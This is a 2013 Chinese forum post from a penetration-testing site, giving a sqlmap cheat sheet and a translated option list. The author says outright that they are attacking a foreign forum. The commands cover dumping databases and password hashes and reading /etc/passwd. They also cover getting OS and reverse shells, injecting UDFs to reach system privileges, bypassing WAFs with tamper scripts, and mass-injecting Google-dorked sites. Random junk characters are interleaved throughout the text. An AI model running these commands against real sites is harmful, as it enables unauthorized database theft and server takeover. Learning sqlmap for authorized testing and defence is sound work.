中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]

作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
8 H: ?4 i$ L5 W  P8 Usqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称5 O5 F6 y9 \! J
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
. Y( t; Q; C: R. k# |. _sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
$ ?4 n  X3 H8 a
  L4 f! U" o1 a! r, \" c6 ~sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
2 h" Z; b+ ~$ Z; [8 |4 K( h6 @0 #获取字段内容( @) N6 ]* _6 N. b5 m; @

, G* z( K0 G6 g7 f; m! ~8 S1 f3 V******************信息获取******************
+ A; v9 I3 f6 b& Y3 N( Jsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型7 h8 ^" O; x: y, |: C3 m
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
& J9 W* ~8 X- R, ^5 msqlmap -u “http://url/news?id=1″ –dbs#列数据库
' G3 v: L6 u/ j7 a$ x: ]. ysqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码* F; ^/ m/ A+ k# Z1 L( X1 z
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码- d9 v  O5 i4 p
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”3 x+ l* ~; d/ l9 Y; t, Q3 T
–start 1 –stop 20 #列出指定字段,列出20 条
" u7 ?# z: s3 ]4 Y4 ^0 H+ C6 z1 Fsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表. O3 g3 n0 a7 m7 ?/ W; W# }
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) @8 T; ^: m9 C% t, psqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色( T- F/ N" J& `* F0 R6 F1 w. ?
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)0 z5 r' n3 U, q3 y: R7 k
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
- j; u, t8 N2 N; _1 v: esqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
# k' |8 x" j* U# L& @# i  Csqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入5 ?, \, |6 H8 g2 z( g
sqlmap -u “http://url/news?id=1″-b #获取banner信息
% H* j/ b* n. F0 ]sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
$ W+ s* {% v: B1 l- e/ _# Ksqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型; c0 y. M9 Z& ^, s! Z
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入" Z9 d; T# l5 Y  F
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词+ S) ^& ]$ L, X. s; ]
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
" }+ g# Y# V  Msqlmap -u “http://url/news?id=1″ –file /etc/passwd
- z) B- F" J: J9 b" z, T9 V/ D! asqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令* f& g, a) o/ s
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell2 b' K3 N& O4 }) L. ?
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
2 L, t) D2 g/ d1 m: \sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
5 U6 `4 S8 u% L& d7 r: Ysqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
8 O9 `( ~& P2 j8 ~3 l  X8 G***********高级用法************** A9 k, s, g1 {5 o, C$ _
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
1 l7 ]" |9 c) r9 Isqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问& t& \+ w% G$ h, D( R5 ?( J# }
–technique   测试指定注入类型\使用的技术
& T/ o0 C& ]1 s. C不加参数默认测试所有注入技术
) K  z& Y1 a3 W2 U•     B: 基于布尔的SQL 盲注
" \- ~& q4 j. p# Y# Y•     E: 基于显错sql 注入
" k6 G4 ^+ w) M* O7 |5 [•     U: 基于UNION 注入& ^. T, |3 Q. T- [6 B/ Z
•     S: 叠层sql 注入) ~8 y$ {8 E: W% P# j6 E8 z
•     T: 基于时间盲注/ L# u$ v# g! q* `$ p
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
. h7 c' M4 l* D: s, C( Y–tamper 插件所在目录$ z8 K3 V' l2 }
\sqlmap-dev\tamper5 b0 v' z: Q/ T, Y8 x' v
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
4 W) l1 k' _0 V4 s4 o+ Slevel 执行测试等级 攻击实例:8 A2 d9 T2 O& j. l3 x! I
Sqlmap -u “http://url/news?id=1&Submit=Submit”
; G7 Q2 n! {5 p$ K1 \3 f' d3 |–cookie=”PHPSESSID=41aa833e6d0d( ]. H5 V! s' Q6 X1 n2 U7 k
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user& v+ S$ ]5 W3 \+ O: i
–password& y4 A& b; A' L4 K: S, ?# v
参考文档:http://sqlmap.sourceforge.net/doc/README.html
. ^: o& B/ c2 Z/ w3 E# K4 h***********安装最新版本*************+ ]6 l1 R/ @/ g5 \* _6 l7 C
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版! y& j5 M: \. m* ?
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev8 }# V4 ?* x) X# K
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件+ Q% q, Z; d* Z# H- l4 N
sudo vim /home/当前用户/.bashrc6 A& @4 t& \$ e) v' \
#任意位置加上:
. a: z1 a* Q+ u4 K4 `! ^: }alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
5 s* N" ]' {! b# C; o' e9 v* K如果想对所有用户有效 可设置全局 编辑下面的文件
/ |9 E9 l$ K1 z/ [) v& y- cvim /etc/profile
2 j, f4 N! w+ B  @  C同样加上:
- ^, H0 i: J8 a3 J: Talias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
! i8 u- y% Z- |$ m, |( N******************windows 7 (x64) sqlmap install (SVN)************
( W9 k+ P: p  a( |  O" n2 [http://www.python.org/getit/ 安装python
' g" a; i6 b# Rhttp://www.sliksvn.com/en/download 安装windows svn client! {' W7 E$ p" Y
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
; n! r  `1 T" `- H+ v2 Y3 M% @* F安装sqlmap
! O6 U# j* p8 [5 b  L*修改环境变量; A9 K& j1 ^& i1 f. C( b
–version             显示程序的版本号并退出  T/ ~1 `# I/ F, F
-h, –help            显示此帮助消息并退出
3 K( j8 N0 w) o# \7 \-v VERBOSE            详细级别:0-6(默认为1)
0 G& P( O% i# q- wTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
! k" V, h/ W+ Z% f) P$ t-d DIRECT           直接连接到数据库。
' x* A+ f1 m8 J* H-u URL, –url=URL   目标URL。8 ^- Z" g* V$ X. E
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
7 ]* b/ z8 P% ?( j2 n-r REQUESTFILE      从一个文件中载入HTTP 请求。6 w+ K9 ]3 R! j. M
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
" {$ l6 @4 F7 S5 \$ ]# D-c CONFIGFILE       从INI 配置文件中加载选项。5 I" L, L. Y! T" }
Request(请求)::
* S9 M9 g( q$ h- F  u% l4 `这些选项可以用来指定如何连接到目标URL。
' e( E6 o% P* b* N2 A7 l–data=DATA         通过POST 发送的数据字符串0 b$ K' T# c$ f; Z0 S5 c
–cookie=COOKIE     HTTP Cookie 头5 N; ^0 c/ _2 S! _7 O! ], K: R* p4 Q' j
–cookie-urlencode  URL 编码生成的cookie 注入
& f) [* f3 Z3 Z. J% T' t  _–drop-set-cookie   忽略响应的Set –Cookie 头信息+ r- o1 {' n3 w9 r' }9 r- R

. V7 g  U+ ~* S9 O6 |–user-agent=AGENT  指定  HTTP User –Agent 头
  B* G& e+ k0 U, _–random-agent      使用随机选定的HTTP User –Agent 头
1 W, [) Y# ]4 C$ }: t! L$ ]–referer=REFERER   指定  HTTP Referer 头
5 p! z9 |9 s$ E# M# x, b& w# p) c–headers=HEADERS   换行分开,加入其他的HTTP 头0 u  W6 g9 u$ ]
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)$ i  i: V0 W2 `
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
% d- E" u9 T& |) a–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)/ g% Q. \  r! F* C
–proxy=PROXY       使用HTTP 代理连接到目标URL- q9 C% {; ~2 S. t
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
5 O' h  @& j" o& |* p; i–ignore-proxy      忽略系统默认的HTTP 代理
( z! \  i, A9 f: x( R' A3 u–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
8 s) _* l% e( B, F* |–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)5 |+ `+ @+ A# E+ K: T7 n
–retries=RETRIES   连接超时后重新连接的时间(默认3)
- ?3 U& R+ R  J0 y; M0 m7 [3 i–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
! D8 Y. K! N9 L. w3 `0 B0 T8 C6 N–safe-url=SAFURL   在测试过程中经常访问的url 地址( S# w! n# Y0 x1 G
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL/ Z8 D8 n: W4 p) |
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' d& q7 j* s. d. F9 r2 W7 g-o                  开启所有优化开关
! B2 m5 w" D( Q% G% h" _4 d4 q  ?–predict-output    预测常见的查询输出
+ ^  N# z1 Z3 |8 K–keep-alive        使用持久的HTTP(S)连接; I: n3 L) \, R! m/ u, g
–null-connection   从没有实际的HTTP 响应体中检索页面长度+ q  {9 w( S4 l2 ?8 N
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)6 k, ?- ~0 r+ m5 _6 E
Injection(注入):' N/ x* x( c. o  U; q# j0 e* {3 `! \
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。: I: D, ?& ]3 ?% j$ q, d( ]
-p TESTPARAMETER    可测试的参数(S)5 ?  S8 A5 @  a% E  {5 j( R
–dbms=DBMS         强制后端的DBMS 为此值8 @0 R' `4 M$ `
–os=OS             强制后端的DBMS 操作系统为这个值
+ F* d! P1 V5 \, G3 {7 @# Q–prefix=PREFIX     注入payload 字符串前缀
$ n: E- ], Q  v2 z–suffix=SUFFIX     注入 payload 字符串后缀/ N5 S6 V9 h1 Z" F  y0 J# _
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
. l/ E: F& q2 Z9 S) sDetection(检测):# R" V! L8 w; e( z+ ?8 x. W
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
. S; n- A. b% R- J–level=LEVEL       执行测试的等级(1-5,默认为1)
, }' H* ^9 a1 C& `+ b6 I+ b3 c–risk=RISK         执行测试的风险(0-3,默认为1)1 Z5 F! }; q2 X; ?, @8 P% P- e  K
–string=STRING     查询时有效时在页面匹配字符串
5 S* N4 Z; b9 I+ B6 G  t: g–regexp=REGEXP     查询时有效时在页面匹配正则表达式- x4 q( ~9 w6 _2 G! a% _
–text-only         仅基于在文本内容比较网页
- b1 R; O# r- b( _3 [Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。' l% Z* h+ {* O  a
–technique=TECH    SQL 注入技术测试(默认BEUST)) s% l, Z* m$ l  o
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)# }+ U: Z) W: V% z
–union-cols=UCOLS  定列范围用于测试UNION 查询注入  a6 }5 V- A. S
–union-char=UCHAR  用于暴力猜解列数的字符
( G2 B- M, h' R% m' lFingerprint(指纹):
& `$ X" a# V  D1 l6 q  ]$ S-f, –fingerprint     执行检查广泛的DBMS 版本指纹
3 J4 y! A( x& A& QEnumeration(枚举):
1 ?) t3 q1 f7 l/ f: z0 f
  S" z8 v# k6 L+ A) W2 B' M* |* W! f# s这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
: _) {4 |& s7 h3 @3 j$ A-b, –banner        检索数据库管理系统的标识% w& o: y+ J: ]# n! d
–current-user      检索数据库管理系统当前用户; H/ H& H- c2 f% }: M  a  z1 I- O
–current-db        检索数据库管理系统当前数据库
1 s. g. E9 n" E–is-dba            检测DBMS 当前用户是否DBA: p- d, A# X6 J& L# g, W
–users             枚举数据库管理系统用户
6 x; r2 R7 s5 G- ^. B* V# w/ v–passwords         枚举数据库管理系统用户密码哈希
6 H; `, |% m2 f' S–privileges        枚举数据库管理系统用户的权限
5 `. E  D* {+ V  q6 e: L" m7 m–roles             枚举数据库管理系统用户的角色
0 q8 d( s: |/ E: u. `3 s3 z" L–dbs               枚举数据库管理系统数据库
  L$ {( B5 J# y; d–tables            枚举的DBMS 数据库中的表
* w/ d' @. E7 `- j–columns           枚举DBMS 数据库表列1 `$ v; V' Q9 O
–dump              转储数据库管理系统的数据库中的表项
. z  ^8 G" M, W- W2 r+ n* p5 n–dump-all          转储所有的DBMS 数据库表中的条目
) x) B. k0 j- g& G0 [# ~–search            搜索列(S),表(S)和/或数据库名称(S)# @& v; E$ o" k% ]; S
-D DB               要进行枚举的数据库名  Y( p  y# @0 i$ M0 k* C2 |
-T TBL              要进行枚举的数据库表. n/ ~, c6 i$ i( m3 q( I( t0 s
-C COL              要进行枚举的数据库列: X/ O! A3 T. l+ L# ^9 E) Y
-U USER             用来进行枚举的数据库用户+ P5 u; r& N9 T6 v0 I
–exclude-sysdbs    枚举表时排除系统数据库  W8 q# k6 E9 I# }: f1 V
–start=LIMITSTART  第一个查询输出进入检索
9 S* ^5 E' b& {' F1 ?$ D5 z–stop=LIMITSTOP    最后查询的输出进入检索$ n+ A. q2 |0 p% o
–first=FIRSTCHAR   第一个查询输出字的字符检索
3 \8 H' _7 }! Q8 c# @* @& N, P; W–last=LASTCHAR     最后查询的输出字字符检索0 E' V( K- n$ j, `% W
–sql-query=QUERY   要执行的SQL 语句
- S# |) ?8 i" Z/ N–sql-shell         提示交互式SQL 的shell7 \' o( M8 c! r6 J, w( t: _' M) ]
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 t" |* t* T) F–common-tables     检查存在共同表! `5 e1 O" |3 }. I5 z
–common-columns    检查存在共同列2 a# x2 i: ~+ ~+ T" l- {. W
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。$ a! ?/ s$ r% w" R: t
–udf-inject        注入用户自定义函数
8 J+ a) M; d2 a, J$ G–shared-lib=SHLIB  共享库的本地路径7 ^( G6 w7 \# Z$ H4 ]) i0 q2 z
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。7 n+ q& u$ j4 }9 U, h# W' f
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件6 s0 c! R2 A7 H, r' \5 p# |( m( ?
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件5 P) k8 L* O7 m/ ~* ~- F# a$ u* S& e
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径+ x% a1 A* u- c+ _5 t
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。9 B$ }- k& s0 M; l8 c* _
–os-cmd=OSCMD      执行操作系统命令
! X( [- I8 m, M–os-shell          交互式的操作系统的shell
! H) o" P2 m2 ]* h6 g& S9 w) W–os-pwn            获取一个OOB shell,meterpreter 或VNC# {; p3 c6 p! a& ?/ m
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
/ h" L: t+ K1 D1 ~' x–os-bof            存储过程缓冲区溢出利用
9 q4 z; g! d+ G7 p; l$ l: E' R–priv-esc          数据库进程用户权限提升
5 ]  z8 Q3 w$ d9 h' E" M–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
: @# h- A* f$ u7 F/ r& S2 i–tmp-path=TMPPATH  远程临时文件目录的绝对路径* j! `* p$ X2 K: l; Y8 F  a
0 B$ Q; o& f  ~
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。* ]3 B9 N  R2 @2 o. O
–reg-read          读一个Windows 注册表项值8 I! ^) N1 [3 G
–reg-add           写一个Windows 注册表项值数据
/ ?8 ^4 `+ O$ Z% L, A–reg-del           删除Windows 注册表键值
) y6 G( Y4 B+ `2 U–reg-key=REGKEY    Windows 注册表键
% n4 O0 H1 ], g! f7 T* U–reg-value=REGVAL  Windows 注册表项值( `) D; \0 Q/ v2 R5 y( _# k
–reg-data=REGDATA  Windows 注册表键值数据
8 P, m1 @7 q: S3 n, j# K" _! J- M–reg-type=REGTYPE  Windows 注册表项值类型$ e& s: g( d, A3 X
General(一般): 这些选项可以用来设置一些一般的工作参数。4 ]# j2 q8 J& y3 V' }+ n# t) Y
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中, j- V6 f5 l- H# E1 G' m
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
4 }& f( I! e3 P" t: U& Y( V–flush-session     刷新当前目标的会话文件
1 J4 R! C7 a5 M6 S* N& S- I2 _–fresh-queries     忽略在会话文件中存储的查询结果
- z3 k) U: d; X6 N  M–eta               显示每个输出的预计到达时间
- @2 R( B1 B- m& s) Q–update            更新SqlMap
  i9 w& E+ @! o+ ^; b% H7 Q* |& T–save              file 保存选项到INI 配置文件
  S( s( ^# k# g7 {–batch             从不询问用户输入,使用所有默认配置。
% r  }/ ^+ v! ^, Q) rMiscellaneous(杂项):
2 s. b/ ?# ?  A( M: A1 B+ Z–beep              发现SQL 注入时提醒6 g' [+ {9 S' M0 L! J
–check-payload     IDS 对注入payloads 的检测测试
4 L: i' b" }" B; \  b6 t$ u  u–cleanup           SqlMap 具体的UDF 和表清理DBMS
9 K0 A/ Y0 f7 z( u3 k& m; ]4 G–forms             对目标URL 的解析和测试形式- C7 X3 B1 G2 K0 e: A
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果4 m& h# V! Y3 W' w0 M
–page-rank         Google dork 结果显示网页排名(PR)5 C9 \8 L6 {- E) D4 o
–parse-errors      从响应页面解析数据库管理系统的错误消息4 g- i) \* @# m4 j4 Q
–replicate         复制转储的数据到一个sqlite3 数据库  r1 W: [$ N# s9 K
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
( ^& ^0 q; X3 [' O–wizard            给初级用户的简单向导界面




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2